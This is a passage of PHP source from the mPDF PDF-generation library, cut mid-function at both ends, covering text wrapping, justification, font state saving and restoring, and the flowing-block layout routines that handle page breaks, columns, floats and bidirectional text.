$tmpOTLdata); } /* -- END OTL -- */ $this->Cell($w, $h, $tmp, $b, 2, $align, $fill, $link, 0, 0, 0, 'M', 0, false, $tmpOTLdata); } else { $tmp = rtrim(mb_substr($s, $j, $sep - $j, $this->mb_enc)); $tmpOTLdata = false; /* -- OTL -- */ if (isset($OTLdata)) { $tmpOTLdata = $this->otl->sliceOTLdata($OTLdata, $j, $sep - $j); $this->otl->trimOTLdata($tmpOTLdata, false, true); } /* -- END OTL -- */ if ($align == 'J') { ////////////////////////////////////////// // JUSTIFY J using Unicode fonts (Word spacing doesn't work) // WORD SPACING UNICODE // Change NON_BREAKING SPACE to spaces so they are 'spaced' properly $tmp = str_replace(chr(194) . chr(160), chr(32), $tmp); $len_ligne = $this->GetStringWidth($tmp, false, $tmpOTLdata); $nb_carac = mb_strlen($tmp, $this->mb_enc); $nb_spaces = mb_substr_count($tmp, ' ', $this->mb_enc); // Take off number of Marks // Use GPOS OTL if (isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'])) { if (isset($tmpOTLdata['group']) && $tmpOTLdata['group']) { $nb_carac -= substr_count($tmpOTLdata['group'], 'M'); } } list($charspacing, $ws, $kashida) = $this->GetJspacing($nb_carac, $nb_spaces, ((($wmax) - $len_ligne) * Mpdf::SCALE), $inclCursive, $tmpOTLdata); $this->SetSpacing($charspacing, $ws); ////////////////////////////////////////// } if (isset($OTLdata)) { $this->magic_reverse_dir($tmp, $directionality, $tmpOTLdata); } $this->Cell($w, $h, $tmp, $b, 2, $align, $fill, $link, 0, 0, 0, 'M', 0, false, $tmpOTLdata); $i = $sep + 1; } if ($maxrows != false && isset($this->form) && ($this->y - $start_y) / $h > $maxrows) { return false; } $sep = -1; $j = $i; $l = 0; $ns = 0; $nl++; if ($border and $nl == 2) { $b = $b2; } } else { $i++; } } // Last chunk // WORD SPACING $this->ResetSpacing(); } else { while ($i < $nb) { // Get next character $c = $s[$i]; if ($c == "\n") { // Explicit line break // WORD SPACING $this->ResetSpacing(); $this->Cell($w, $h, substr($s, $j, $i - $j), $b, 2, $align, $fill, $link); if ($maxrows != false && isset($this->form) && ($this->y - $start_y) / $h > $maxrows) { return false; } $i++; $sep = -1; $j = $i; $l = 0; $ns = 0; $nl++; if ($border and $nl == 2) { $b = $b2; } continue; } if ($c == " ") { $sep = $i; $ls = $l; $ns++; } $l += $this->GetCharWidthCore($c); if ($l > $wmax) { // Automatic line break if ($sep == -1) { if ($i == $j) { $i++; } // WORD SPACING $this->ResetSpacing(); $this->Cell($w, $h, substr($s, $j, $i - $j), $b, 2, $align, $fill, $link); } else { if ($align == 'J') { $tmp = rtrim(substr($s, $j, $sep - $j)); ////////////////////////////////////////// // JUSTIFY J using Unicode fonts (Word spacing doesn't work) // WORD SPACING NON_UNICODE/CJK // Change NON_BREAKING SPACE to spaces so they are 'spaced' properly $tmp = str_replace(chr(160), chr(32), $tmp); $len_ligne = $this->GetStringWidth($tmp); $nb_carac = strlen($tmp); $nb_spaces = substr_count($tmp, ' '); $tmpOTLdata = []; list($charspacing, $ws, $kashida) = $this->GetJspacing($nb_carac, $nb_spaces, ((($wmax) - $len_ligne) * Mpdf::SCALE), false, $tmpOTLdata); $this->SetSpacing($charspacing, $ws); ////////////////////////////////////////// } $this->Cell($w, $h, substr($s, $j, $sep - $j), $b, 2, $align, $fill, $link); $i = $sep + 1; } if ($maxrows != false && isset($this->form) && ($this->y - $start_y) / $h > $maxrows) { return false; } $sep = -1; $j = $i; $l = 0; $ns = 0; $nl++; if ($border and $nl == 2) { $b = $b2; } } else { $i++; } } // Last chunk // WORD SPACING $this->ResetSpacing(); } // Last chunk if ($border and is_int(strpos($border, 'B'))) { $b .= 'B'; } if (!$this->usingCoreFont) { $tmp = rtrim(mb_substr($s, $j, $i - $j, $this->mb_enc)); $tmpOTLdata = false; /* -- OTL -- */ if (isset($OTLdata)) { $tmpOTLdata = $this->otl->sliceOTLdata($OTLdata, $j, $i - $j); $this->otl->trimOTLdata($tmpOTLdata, false, true); $this->magic_reverse_dir($tmp, $directionality, $tmpOTLdata); } /* -- END OTL -- */ $this->Cell($w, $h, $tmp, $b, 2, $align, $fill, $link, 0, 0, 0, 'M', 0, false, $tmpOTLdata); } else { $this->Cell($w, $h, substr($s, $j, $i - $j), $b, 2, $align, $fill, $link); } $this->x = $this->lMargin; } /* -- DIRECTW -- */ function Write($h, $txt, $currentx = 0, $link = '', $directionality = 'ltr', $align = '', $fill = 0) { if (empty($this->directWrite)) { $this->directWrite = new DirectWrite($this, $this->otl, $this->sizeConverter, $this->colorConverter); } $this->directWrite->Write($h, $txt, $currentx, $link, $directionality, $align, $fill); } /* -- END DIRECTW -- */ /* -- HTML-CSS -- */ function saveInlineProperties() { $saved = []; $saved['family'] = $this->FontFamily; $saved['style'] = $this->FontStyle; $saved['sizePt'] = $this->FontSizePt; $saved['size'] = $this->FontSize; $saved['HREF'] = $this->HREF; $saved['textvar'] = $this->textvar; // mPDF 5.7.1 $saved['OTLtags'] = $this->OTLtags; // mPDF 5.7.1 $saved['textshadow'] = $this->textshadow; $saved['linewidth'] = $this->LineWidth; $saved['drawcolor'] = $this->DrawColor; $saved['textparam'] = $this->textparam; $saved['lSpacingCSS'] = $this->lSpacingCSS; $saved['wSpacingCSS'] = $this->wSpacingCSS; $saved['I'] = $this->I; $saved['B'] = $this->B; $saved['colorarray'] = $this->colorarray; $saved['bgcolorarray'] = $this->spanbgcolorarray; $saved['border'] = $this->spanborddet; $saved['color'] = $this->TextColor; $saved['bgcolor'] = $this->FillColor; $saved['lang'] = $this->currentLang; $saved['fontLanguageOverride'] = $this->fontLanguageOverride; // mPDF 5.7.1 $saved['display_off'] = $this->inlineDisplayOff; return $saved; } function restoreInlineProperties(&$saved) { $FontFamily = $saved['family']; $this->FontStyle = $saved['style']; $this->FontSizePt = $saved['sizePt']; $this->FontSize = $saved['size']; $this->currentLang = $saved['lang']; $this->fontLanguageOverride = $saved['fontLanguageOverride']; // mPDF 5.7.1 $this->ColorFlag = ($this->FillColor != $this->TextColor); // Restore ColorFlag as well $this->HREF = $saved['HREF']; $this->textvar = $saved['textvar']; // mPDF 5.7.1 $this->OTLtags = $saved['OTLtags']; // mPDF 5.7.1 $this->textshadow = $saved['textshadow']; $this->LineWidth = $saved['linewidth']; $this->DrawColor = $saved['drawcolor']; $this->textparam = $saved['textparam']; $this->inlineDisplayOff = $saved['display_off']; $this->lSpacingCSS = $saved['lSpacingCSS']; if (($this->lSpacingCSS || $this->lSpacingCSS === '0') && strtoupper($this->lSpacingCSS) != 'NORMAL') { $this->fixedlSpacing = $this->sizeConverter->convert($this->lSpacingCSS, $this->FontSize); } else { $this->fixedlSpacing = false; } $this->wSpacingCSS = $saved['wSpacingCSS']; if ($this->wSpacingCSS && strtoupper($this->wSpacingCSS) != 'NORMAL') { $this->minwSpacing = $this->sizeConverter->convert($this->wSpacingCSS, $this->FontSize); } else { $this->minwSpacing = 0; } $this->SetFont($FontFamily, $saved['style'], $saved['sizePt'], false); $this->currentfontstyle = $saved['style']; $this->currentfontsize = $saved['sizePt']; $this->SetStylesArray(['B' => $saved['B'], 'I' => $saved['I']]); // mPDF 5.7.1 $this->TextColor = $saved['color']; $this->FillColor = $saved['bgcolor']; $this->colorarray = $saved['colorarray']; $cor = $saved['colorarray']; if ($cor) { $this->SetTColor($cor); } $this->spanbgcolorarray = $saved['bgcolorarray']; $cor = $saved['bgcolorarray']; if ($cor) { $this->SetFColor($cor); } $this->spanborddet = $saved['border']; } // Used when ColActive for tables - updated to return first block with background fill OR borders function GetFirstBlockFill() { // Returns the first blocklevel that uses a bgcolor fill $startfill = 0; for ($i = 1; $i <= $this->blklvl; $i++) { if ($this->blk[$i]['bgcolor'] || $this->blk[$i]['border_left']['w'] || $this->blk[$i]['border_right']['w'] || $this->blk[$i]['border_top']['w'] || $this->blk[$i]['border_bottom']['w']) { $startfill = $i; break; } } return $startfill; } // -------------------------FLOWING BLOCK------------------------------------// // The following functions were originally written by Damon Kohler // // --------------------------------------------------------------------------// function saveFont() { $saved = []; $saved['family'] = $this->FontFamily; $saved['style'] = $this->FontStyle; $saved['sizePt'] = $this->FontSizePt; $saved['size'] = $this->FontSize; $saved['curr'] = &$this->CurrentFont; $saved['lang'] = $this->currentLang; // mPDF 6 $saved['color'] = $this->TextColor; $saved['spanbgcolor'] = $this->spanbgcolor; $saved['spanbgcolorarray'] = $this->spanbgcolorarray; $saved['bord'] = $this->spanborder; $saved['border'] = $this->spanborddet; $saved['HREF'] = $this->HREF; $saved['textvar'] = $this->textvar; // mPDF 5.7.1 $saved['textshadow'] = $this->textshadow; $saved['linewidth'] = $this->LineWidth; $saved['drawcolor'] = $this->DrawColor; $saved['textparam'] = $this->textparam; $saved['ReqFontStyle'] = $this->ReqFontStyle; $saved['fixedlSpacing'] = $this->fixedlSpacing; $saved['minwSpacing'] = $this->minwSpacing; return $saved; } function restoreFont(&$saved, $write = true) { if (!isset($saved) || empty($saved)) { return; } $this->FontFamily = $saved['family']; $this->FontStyle = $saved['style']; $this->FontSizePt = $saved['sizePt']; $this->FontSize = $saved['size']; $this->CurrentFont = &$saved['curr']; $this->currentLang = $saved['lang']; // mPDF 6 $this->TextColor = $saved['color']; $this->spanbgcolor = $saved['spanbgcolor']; $this->spanbgcolorarray = $saved['spanbgcolorarray']; $this->spanborder = $saved['bord']; $this->spanborddet = $saved['border']; $this->ColorFlag = ($this->FillColor != $this->TextColor); // Restore ColorFlag as well $this->HREF = $saved['HREF']; $this->fixedlSpacing = $saved['fixedlSpacing']; $this->minwSpacing = $saved['minwSpacing']; $this->textvar = $saved['textvar']; // mPDF 5.7.1 $this->textshadow = $saved['textshadow']; $this->LineWidth = $saved['linewidth']; $this->DrawColor = $saved['drawcolor']; $this->textparam = $saved['textparam']; if ($write) { $this->SetFont($saved['family'], $saved['style'], $saved['sizePt'], true, true); // force output $fontout = (sprintf('BT /F%d %.3F Tf ET', $this->CurrentFont['i'], $this->FontSizePt)); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['Font']) && $this->pageoutput[$this->page]['Font'] != $fontout) || !isset($this->pageoutput[$this->page]['Font']))) { $this->writer->write($fontout); } $this->pageoutput[$this->page]['Font'] = $fontout; } else { $this->SetFont($saved['family'], $saved['style'], $saved['sizePt'], false); } $this->ReqFontStyle = $saved['ReqFontStyle']; } function newFlowingBlock($w, $h, $a = '', $is_table = false, $blockstate = 0, $newblock = true, $blockdir = 'ltr', $table_draft = false) { if (!$a) { if ($blockdir == 'rtl') { $a = 'R'; } else { $a = 'L'; } } $this->flowingBlockAttr['width'] = ($w * Mpdf::SCALE); // line height in user units $this->flowingBlockAttr['is_table'] = $is_table; $this->flowingBlockAttr['table_draft'] = $table_draft; $this->flowingBlockAttr['height'] = $h; $this->flowingBlockAttr['lineCount'] = 0; $this->flowingBlockAttr['align'] = $a; $this->flowingBlockAttr['font'] = []; $this->flowingBlockAttr['content'] = []; $this->flowingBlockAttr['contentB'] = []; $this->flowingBlockAttr['contentWidth'] = 0; $this->flowingBlockAttr['blockstate'] = $blockstate; $this->flowingBlockAttr['newblock'] = $newblock; $this->flowingBlockAttr['valign'] = 'M'; $this->flowingBlockAttr['blockdir'] = $blockdir; $this->flowingBlockAttr['cOTLdata'] = []; // mPDF 5.7.1 $this->flowingBlockAttr['lastBidiText'] = ''; // mPDF 5.7.1 if (!empty($this->otl)) { $this->otl->lastBidiStrongType = ''; } // *OTL* } function finishFlowingBlock($endofblock = false, $next = '') { $currentx = $this->x; // prints out the last chunk $is_table = $this->flowingBlockAttr['is_table']; $table_draft = $this->flowingBlockAttr['table_draft']; $maxWidth = & $this->flowingBlockAttr['width']; $stackHeight = & $this->flowingBlockAttr['height']; $align = & $this->flowingBlockAttr['align']; $content = & $this->flowingBlockAttr['content']; $contentB = & $this->flowingBlockAttr['contentB']; $font = & $this->flowingBlockAttr['font']; $contentWidth = & $this->flowingBlockAttr['contentWidth']; $lineCount = & $this->flowingBlockAttr['lineCount']; $valign = & $this->flowingBlockAttr['valign']; $blockstate = $this->flowingBlockAttr['blockstate']; $cOTLdata = & $this->flowingBlockAttr['cOTLdata']; // mPDF 5.7.1 $newblock = $this->flowingBlockAttr['newblock']; $blockdir = $this->flowingBlockAttr['blockdir']; // *********** BLOCK BACKGROUND COLOR *****************// if ($this->blk[$this->blklvl]['bgcolor'] && !$is_table) { $fill = 0; } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); $fill = 0; } $hanger = ''; // Always right trim! // Right trim last content and adjust width if needed to justify (later) if (isset($content[count($content) - 1]) && preg_match('/[ ]+$/', $content[count($content) - 1], $m)) { $strip = strlen($m[0]); $content[count($content) - 1] = substr($content[count($content) - 1], 0, (strlen($content[count($content) - 1]) - $strip)); /* -- OTL -- */ if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $this->otl->trimOTLdata($cOTLdata[count($cOTLdata) - 1], false, true); } /* -- END OTL -- */ } // the amount of space taken up so far in user units $usedWidth = 0; // COLS $oldcolumn = $this->CurrCol; if ($this->ColActive && !$is_table) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* // Print out each chunk /* -- TABLES -- */ if ($is_table) { $ipaddingL = 0; $ipaddingR = 0; $paddingL = 0; $paddingR = 0; } else { /* -- END TABLES -- */ $ipaddingL = $this->blk[$this->blklvl]['padding_left']; $ipaddingR = $this->blk[$this->blklvl]['padding_right']; $paddingL = ($ipaddingL * Mpdf::SCALE); $paddingR = ($ipaddingR * Mpdf::SCALE); $this->cMarginL = $this->blk[$this->blklvl]['border_left']['w']; $this->cMarginR = $this->blk[$this->blklvl]['border_right']['w']; // Added mPDF 3.0 Float DIV $fpaddingR = 0; $fpaddingL = 0; /* -- CSS-FLOAT -- */ if (count($this->floatDivs)) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($this->blklvl); if ($r_exists) { $fpaddingR = $r_width; } if ($l_exists) { $fpaddingL = $l_width; } } /* -- END CSS-FLOAT -- */ $usey = $this->y + 0.002; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 0)) { $usey += $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } /* -- CSS-IMAGE-FLOAT -- */ // If float exists at this level if (isset($this->floatmargins['R']) && $usey <= $this->floatmargins['R']['y1'] && $usey >= $this->floatmargins['R']['y0'] && !$this->floatmargins['R']['skipline']) { $fpaddingR += $this->floatmargins['R']['w']; } if (isset($this->floatmargins['L']) && $usey <= $this->floatmargins['L']['y1'] && $usey >= $this->floatmargins['L']['y0'] && !$this->floatmargins['L']['skipline']) { $fpaddingL += $this->floatmargins['L']['w']; } /* -- END CSS-IMAGE-FLOAT -- */ } // *TABLES* $lineBox = []; $this->_setInlineBlockHeights($lineBox, $stackHeight, $content, $font, $is_table); if ($is_table && count($content) == 0) { $stackHeight = 0; } if ($table_draft) { $this->y += $stackHeight; $this->objectbuffer = []; return 0; } // While we're at it, check if contains cursive text // Change NBSP to SPACE. // Re-calculate contentWidth $contentWidth = 0; foreach ($content as $k => $chunk) { $this->restoreFont($font[$k], false); if (!isset($this->objectbuffer[$k]) || (isset($this->objectbuffer[$k]) && !$this->objectbuffer[$k])) { // Soft Hyphens chr(173) if (!$this->usingCoreFont) { /* -- OTL -- */ // mPDF 5.7.1 if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $this->otl->removeChar($chunk, $cOTLdata[$k], "\xc2\xad"); $this->otl->replaceSpace($chunk, $cOTLdata[$k]); $content[$k] = $chunk; } /* -- END OTL -- */ else { // *OTL* $content[$k] = $chunk = str_replace("\xc2\xad", '', $chunk); $content[$k] = $chunk = str_replace(chr(194) . chr(160), chr(32), $chunk); } // *OTL* } elseif ($this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats') { $content[$k] = $chunk = str_replace(chr(173), '', $chunk); $content[$k] = $chunk = str_replace(chr(160), chr(32), $chunk); } $contentWidth += $this->GetStringWidth($chunk, true, (isset($cOTLdata[$k]) ? $cOTLdata[$k] : false), $this->textvar) * Mpdf::SCALE; } elseif (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]) { // LIST MARKERS // mPDF 6 Lists if ($this->objectbuffer[$k]['type'] == 'image' && isset($this->objectbuffer[$k]['listmarker']) && $this->objectbuffer[$k]['listmarker'] && $this->objectbuffer[$k]['listmarkerposition'] == 'outside') { // do nothing } else { $contentWidth += $this->objectbuffer[$k]['OUTER-WIDTH'] * Mpdf::SCALE; } } } if (isset($font[count($font) - 1])) { $lastfontreqstyle = (isset($font[count($font) - 1]['ReqFontStyle']) ? $font[count($font) - 1]['ReqFontStyle'] : ''); $lastfontstyle = (isset($font[count($font) - 1]['style']) ? $font[count($font) - 1]['style'] : ''); } else { $lastfontreqstyle = null; $lastfontstyle = null; } if ($blockdir == 'ltr' && strpos($lastfontreqstyle, "I") !== false && strpos($lastfontstyle, "I") === false) { // Artificial italic $lastitalic = $this->FontSize * 0.15 * Mpdf::SCALE; } else { $lastitalic = 0; } // Get PAGEBREAK TO TEST for height including the bottom border/padding $check_h = max($this->divheight, $stackHeight); // This fixes a proven bug... if ($endofblock && $newblock && $blockstate == 0 && !$content) { $check_h = 0; } // but ? needs to fix potentially more widespread... // if (!$content) { $check_h = 0; } if ($this->blklvl > 0 && !$is_table) { if ($endofblock && $blockstate > 1) { if ($this->blk[$this->blklvl]['page_break_after_avoid']) { $check_h += $stackHeight; } $check_h += ($this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w']); } if (($newblock && ($blockstate == 1 || $blockstate == 3) && $lineCount == 0) || ($endofblock && $blockstate == 3 && $lineCount == 0)) { $check_h += ($this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['border_top']['w']); } } // Force PAGE break if column height cannot take check-height if ($this->ColActive && $check_h > ($this->PageBreakTrigger - $this->y0)) { $this->SetCol($this->NbCol - 1); } // Avoid just border/background-color moved on to next page if ($endofblock && $blockstate > 1 && !$content) { $buff = $this->margBuffer; } else { $buff = 0; } // PAGEBREAK if (!$is_table && ($this->y + $check_h) > ($this->PageBreakTrigger + $buff) and ! $this->InFooter and $this->AcceptPageBreak()) { $bak_x = $this->x; // Current X position // WORD SPACING $ws = $this->ws; // Word Spacing $charspacing = $this->charspacing; // Character Spacing $this->ResetSpacing(); $this->AddPage($this->CurOrientation); $this->x = $bak_x; // Added to correct for OddEven Margins $currentx += $this->MarginCorrection; $this->x += $this->MarginCorrection; // WORD SPACING $this->SetSpacing($charspacing, $ws); } /* -- COLUMNS -- */ // COLS // COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { $currentx += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $this->x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $oldcolumn = $this->CurrCol; } if ($this->ColActive && !$is_table) { $this->breakpoints[$this->CurrCol][] = $this->y; } /* -- END COLUMNS -- */ // TOP MARGIN if ($newblock && ($blockstate == 1 || $blockstate == 3) && ($this->blk[$this->blklvl]['margin_top']) && $lineCount == 0 && !$is_table) { $this->DivLn($this->blk[$this->blklvl]['margin_top'], $this->blklvl - 1, true, $this->blk[$this->blklvl]['margin_collapse']); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } if ($newblock && ($blockstate == 1 || $blockstate == 3) && $lineCount == 0 && !$is_table) { $this->blk[$this->blklvl]['y0'] = $this->y; $this->blk[$this->blklvl]['startpage'] = $this->page; if ($this->blk[$this->blklvl]['float']) { $this->blk[$this->blklvl]['float_start_y'] = $this->y; } if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } // Paragraph INDENT $WidthCorrection = 0; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && isset($this->blk[$this->blklvl]['text_indent']) && ($lineCount == 0) && (!$is_table) && ($align != 'C')) { $ti = $this->sizeConverter->convert($this->blk[$this->blklvl]['text_indent'], $this->blk[$this->blklvl]['inner_width'], $this->blk[$this->blklvl]['InlineProperties']['size'], false); // mPDF 5.7.4 $WidthCorrection = ($ti * Mpdf::SCALE); } // PADDING and BORDER spacing/fill if (($newblock) && ($blockstate == 1 || $blockstate == 3) && (($this->blk[$this->blklvl]['padding_top']) || ($this->blk[$this->blklvl]['border_top'])) && ($lineCount == 0) && (!$is_table)) { // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom $this->DivLn($this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w'], -3, true, false, 1); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* $this->x = $currentx; } // Added mPDF 3.0 Float DIV $fpaddingR = 0; $fpaddingL = 0; /* -- CSS-FLOAT -- */ if (count($this->floatDivs)) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($this->blklvl); if ($r_exists) { $fpaddingR = $r_width; } if ($l_exists) { $fpaddingL = $l_width; } } /* -- END CSS-FLOAT -- */ $usey = $this->y + 0.002; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 0)) { $usey += $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } /* -- CSS-IMAGE-FLOAT -- */ // If float exists at this level if (isset($this->floatmargins['R']) && $usey <= $this->floatmargins['R']['y1'] && $usey >= $this->floatmargins['R']['y0'] && !$this->floatmargins['R']['skipline']) { $fpaddingR += $this->floatmargins['R']['w']; } if (isset($this->floatmargins['L']) && $usey <= $this->floatmargins['L']['y1'] && $usey >= $this->floatmargins['L']['y0'] && !$this->floatmargins['L']['skipline']) { $fpaddingL += $this->floatmargins['L']['w']; } /* -- END CSS-IMAGE-FLOAT -- */ if ($content) { // In FinishFlowing Block no lines are justified as it is always last line // but if CJKorphan has allowed content width to go over max width, use J charspacing to compress line // JUSTIFICATION J - NOT! $nb_carac = 0; $nb_spaces = 0; $jcharspacing = 0; $jkashida = 0; $jws = 0; $inclCursive = false; $dottab = false; foreach ($content as $k => $chunk) { if (!isset($this->objectbuffer[$k]) || (isset($this->objectbuffer[$k]) && !$this->objectbuffer[$k])) { $nb_carac += mb_strlen($chunk, $this->mb_enc); $nb_spaces += mb_substr_count($chunk, ' ', $this->mb_enc); // mPDF 6 // Use GPOS OTL $this->restoreFont($font[$k], false); if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { if (isset($cOTLdata[$k]['group']) && $cOTLdata[$k]['group']) { $nb_marks = substr_count($cOTLdata[$k]['group'], 'M'); $nb_carac -= $nb_marks; } if (preg_match("/([" . $this->pregCURSchars . "])/u", $chunk)) { $inclCursive = true; } } } else { $nb_carac ++; // mPDF 6 allow spacing for inline object if ($this->objectbuffer[$k]['type'] == 'dottab') { $dottab = $this->objectbuffer[$k]['outdent']; } } } // DIRECTIONALITY RTL $chunkorder = range(0, count($content) - 1); // mPDF 6 /* -- OTL -- */ // mPDF 6 if ($blockdir == 'rtl' || $this->biDirectional) { $this->otl->bidiReorder($chunkorder, $content, $cOTLdata, $blockdir); // From this point on, $content and $cOTLdata may contain more elements (and re-ordered) compared to // $this->objectbuffer and $font ($chunkorder contains the mapping) } /* -- END OTL -- */ // Remove any XAdvance from OTL data at end of line // And correct for XPlacement on last character // BIDI is applied foreach ($chunkorder as $aord => $k) { if (count($cOTLdata)) { $this->restoreFont($font[$k], false); // ...FinishFlowingBlock... if ($aord == count($chunkorder) - 1 && isset($cOTLdata[$aord]['group'])) { // Last chunk on line $nGPOS = strlen($cOTLdata[$aord]['group']) - 1; // Last character if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL']) || isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'])) { if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'])) { $w = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] * 1000 / $this->CurrentFont['unitsPerEm']; } else { $w = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] * 1000 / $this->CurrentFont['unitsPerEm']; } $w *= ($this->FontSize / 1000); $contentWidth -= $w * Mpdf::SCALE; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] = 0; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] = 0; } // If last character has an XPlacement set, adjust width calculation, and add to XAdvance to account for it if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement'])) { $w = -$cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement'] * 1000 / $this->CurrentFont['unitsPerEm']; $w *= ($this->FontSize / 1000); $contentWidth -= $w * Mpdf::SCALE; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement']; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement']; } } } } // if it's justified, we need to find the char/word spacing (or if orphans have allowed length of line to go over the maxwidth) // If "orphans" in fact is just a final space - ignore this $lastchar = mb_substr($content[(count($chunkorder) - 1)], mb_strlen($content[(count($chunkorder) - 1)], $this->mb_enc) - 1, 1, $this->mb_enc); if (preg_match("/[" . $this->CJKoverflow . "]/u", $lastchar)) { $CJKoverflow = true; } else { $CJKoverflow = false; } if ((((($contentWidth + $lastitalic) > $maxWidth) && ($content[(count($chunkorder) - 1)] != ' ') ) || (!$endofblock && $align == 'J' && ($next == 'image' || $next == 'select' || $next == 'input' || $next == 'textarea' || ($next == 'br' && $this->justifyB4br)))) && !($CJKoverflow && $this->allowCJKoverflow)) { // WORD SPACING list($jcharspacing, $jws, $jkashida) = $this->GetJspacing($nb_carac, $nb_spaces, ($maxWidth - $lastitalic - $contentWidth - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) )), $inclCursive, $cOTLdata); } /* -- CJK-FONTS -- */ elseif ($this->checkCJK && $align == 'J' && $CJKoverflow && $this->allowCJKoverflow && $this->CJKforceend) { // force-end overhang $hanger = mb_substr($content[(count($chunkorder) - 1)], mb_strlen($content[(count($chunkorder) - 1)], $this->mb_enc) - 1, 1, $this->mb_enc); if (preg_match("/[" . $this->CJKoverflow . "]/u", $hanger)) { $content[(count($chunkorder) - 1)] = mb_substr($content[(count($chunkorder) - 1)], 0, mb_strlen($content[(count($chunkorder) - 1)], $this->mb_enc) - 1, $this->mb_enc); $this->restoreFont($font[$chunkorder[count($chunkorder) - 1]], false); $contentWidth -= $this->GetStringWidth($hanger) * Mpdf::SCALE; $nb_carac -= 1; list($jcharspacing, $jws, $jkashida) = $this->GetJspacing($nb_carac, $nb_spaces, ($maxWidth - $lastitalic - $contentWidth - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) )), $inclCursive, $cOTLdata); } } /* -- END CJK-FONTS -- */ // Check if will fit at word/char spacing of previous line - if so continue it // but only allow a maximum of $this->jSmaxWordLast and $this->jSmaxCharLast elseif ($contentWidth < ($maxWidth - $lastitalic - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE))) && !$this->fixedlSpacing) { if ($this->ws > $this->jSmaxWordLast) { $jws = $this->jSmaxWordLast; } if ($this->charspacing > $this->jSmaxCharLast) { $jcharspacing = $this->jSmaxCharLast; } $check = $maxWidth - $lastitalic - $WidthCorrection - $contentWidth - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) ) - ( $jcharspacing * $nb_carac) - ( $jws * $nb_spaces); if ($check <= 0) { $jcharspacing = 0; $jws = 0; } } $empty = $maxWidth - $lastitalic - $WidthCorrection - $contentWidth - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) ); $empty -= ($jcharspacing * ($nb_carac - 1)); // mPDF 6 nb_carac MINUS 1 $empty -= ($jws * $nb_spaces); $empty -= ($jkashida); $empty /= Mpdf::SCALE; if (!$is_table) { $this->maxPosR = max($this->maxPosR, ($this->w - $this->rMargin - $this->blk[$this->blklvl]['outer_right_margin'] - $empty)); $this->maxPosL = min($this->maxPosL, ($this->lMargin + $this->blk[$this->blklvl]['outer_left_margin'] + $empty)); } $arraysize = count($chunkorder); $margins = ($this->cMarginL + $this->cMarginR) + ($ipaddingL + $ipaddingR + $fpaddingR + $fpaddingR ); if (!$is_table) { $this->DivLn($stackHeight, $this->blklvl, false); } // false -> don't advance y $this->x = $currentx + $this->cMarginL + $ipaddingL + $fpaddingL; if ($dottab !== false && $blockdir == 'rtl') { $this->x -= $dottab; } elseif ($align == 'R') { $this->x += $empty; } elseif ($align == 'J' && $blockdir == 'rtl') { $this->x += $empty; } elseif ($align == 'C') { $this->x += ($empty / 2); } // Paragraph INDENT $WidthCorrection = 0; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && isset($this->blk[$this->blklvl]['text_indent']) && ($lineCount == 0) && (!$is_table) && ($align != 'C')) { $ti = 